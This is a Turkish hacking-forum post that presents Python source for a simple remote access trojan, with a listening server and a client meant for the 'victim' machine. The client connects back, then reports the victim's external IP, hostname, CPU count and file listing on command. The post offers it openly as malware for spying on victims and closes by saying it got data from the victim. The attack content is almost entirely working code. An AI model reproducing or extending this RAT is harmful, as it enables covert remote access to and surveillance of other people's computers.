- 17 Eyl 2023
- 1,349
- 623
Merhaba Değerli TurkHackTeam Ailesi, Bugün Python'da geliştirdiğimiz basit RAT ile kurbanın bilgisayarında komut çalıştırmanın yolunu göstereceğiz.
Komutlar;
- 'ipconfig' veya 'ifconfig' Bu Kurbanın IP'sini Gösterir
- 'whoami' veya 'pname' Bu Kurbanın Bilgisayar İsmini Gösterir
- 'cpuç' Bu Kurbanın İşlemci Çekirdek Sayısını Gösterir
- 'ls' Bu Kurbanın Bulunduğu Dosyadaki Dosyaları Gösterir
- 'exit' Sunucuyu Kapatır
Kodlar;
Python:
# server.py
import os
import socket
import platform
def terminal_temizle():
oss = platform.system()
if oss == "Windows":
os.system("cls")
elif oss == "Linux":
os.system("clear")
ip = '127.0.0.1'
port = 8080
def server(ip='', port=0):
try:
adr = (ip, port)
sunucu = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sunucu.bind(adr)
sunucu.listen(2)
terminal_temizle()
print(f"Sunucu Açıldı... | IP: {ip}, Port: {port}")
while True:
client, adres = sunucu.accept()
print(f"{ip} --> Bu IP Sunucuya Girmiştir...\n")
while True:
command = input("Command: ").encode()
client.send(command)
if command.decode().lower() == 'exit': # eğer çıkış derse sunucuyu kapatır ve termianli temizler
sunucu.close()
terminal_temizle()
break
gelen = client.recv(1024)
print(gelen.decode())
except socket.error as hata:
print(f"Hata: {hata}")
sunucu.close()
server(ip, port)
Python:
# client.py
import socket
import psutil
import requests
import wmi
import os
def ip_al():
res = requests.get('https://api64.ipify.org/?format=json')
veri = res.json()
external_ip = veri['ip']
return str(external_ip)
ip = '127.0.0.1'
port = 8080
try:
addr = (ip, port)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect(addr)
while True:
data = server.recv(1024)
command = data.decode()
if command == "ifconfig" or command == "ipconfig":
ip_adr = ip_al()
server.send(f"{ip_adr}".encode())
elif command == "whoami" or command == "pname":
pc_name = socket.gethostname()
server.send(pc_name.encode())
elif command == "cpuç":
islemci_cekirdek = psutil.cpu_count()
server.send(str(islemci_cekirdek).encode())
elif command == "ls":
l = os.listdir()
server.send('\n'.join(l).encode())
else:
server.send("Hatalı veya olmayan komut\n".encode())
finally:
server.close()
Ekran Görüntüleri;
Kurbandan Bilgileri Almayı Başardık.